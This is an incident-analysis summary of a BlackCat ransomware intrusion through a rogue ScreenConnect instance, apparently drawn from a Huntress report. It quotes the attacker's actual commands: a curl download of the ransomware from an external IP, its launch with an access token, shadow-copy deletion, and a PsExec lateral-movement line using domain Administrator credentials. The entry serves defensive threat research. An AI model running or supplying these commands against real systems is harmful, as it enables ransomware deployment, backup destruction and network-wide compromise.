# BlackCat Ransomware Affiliate TTPs

Attacker used a rogue second ScreenConnect instance on a healthcare endpoint to download and launch BlackCat ransomware, disabling Defender and propagating via PsExec.

- Payout: Real-world hack
- Severity: high
- Program: ScreenConnect
- Analysis by: Huntress
- Disclosed: 2024-02-28
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/blackcat-ransomware-affiliate-ttps
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-blackcat-ransomware-affiliate-ttps
- Tags: area:cloud domain:infra impact:funds-loss impact:integrity impact:rce kind:incident platform:threat-intel sev:high tech:windows technique:legacy-endpoint vuln:auth-bypass vuln:misconfiguration vuln:rce

**Target:** Windows endpoint with rogue ScreenConnect instance
**Root cause:** An unmanaged, likely compromised second ScreenConnect instance (v21.15.6764.8075) remained installed on the endpoint, providing the attacker an alternate remote access path that bypassed MFA and protection mechanisms.
**Steps:**
1. Attacker connects to rogue ScreenConnect instance as user `chlsln14`
2. Executes `curl  http://94.131.109[.]54:6531/iw0pjCKEzADKTMA5Xkv8ZxS6.exe -O`
3. Defender quarantines file; attacker sets SpyNetReporting from 2 to 0 via GUI to snooze Defender
4. Re-runs curl, then launches `iw0pjCKEzADKTMA5Xkv8ZxS6.exe  --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d`
5. Ransomware spawns child processes: `vssadmin.exe Delete Shadows /all /quiet`, `wmic.exe  Shadowcopy Delete`, `iisreset.exe /stop`, and reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
6. Ransomware uses PsExec with embedded domain Administrator credentials to propagate to 10.x.x.x endpoints
**How found:** Huntress SOC alerted on modified Ransomware Canary files; investigation found two ScreenConnect instances, one connecting to REDACTED.ddns.net, revealing the rogue install.
**Exploitation:** Attacker with access to a rogue ScreenConnect instance downloaded BlackCat, disabled Defender reporting via GUI, relaunched the payload with an access token, deleted shadow copies, and used embedded credentials plus PsExec to move laterally to other endpoints.
**Escalation:** Embedded domain Administrator credentials and PsExec enabled lateral propagation from the single endpoint to additional 10.x.x.x hosts.
**Insight:** Enumerate all installed remote-access agents per endpoint; a forgotten or second ScreenConnect instance with an external ddns.net callback is a ready-made MFA-bypassing backdoor that survives patching of the legitimate instance.

## Proof of concept (copied exactly from the original report)

**curl download of BlackCat ransomware executable**

```
curl  http://94.131.109[.]54:6531/iw0pjCKEzADKTMA5Xkv8ZxS6.exe -O
```

**Ransomware launch with access token**

```
iw0pjCKEzADKTMA5Xkv8ZxS6.exe  --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d
```

**PsExec lateral propagation command**

```
C:\Windows\TEMP\psexec.exe" -nobanner -accepteula \\<NetBIOS Name> -u <DOMAIN>\Administrator -p <password> -s -d -f -c C:\Windows\system32\iw0pjCKEzADKTMA5Xkv8ZxS6.exe --access-token d72766a868fef87c0c073c1ec3b6a92b7daed7313b81ee6523386049f768b09d --no-prop-servers \\<NetBIOS Name> --propagated
```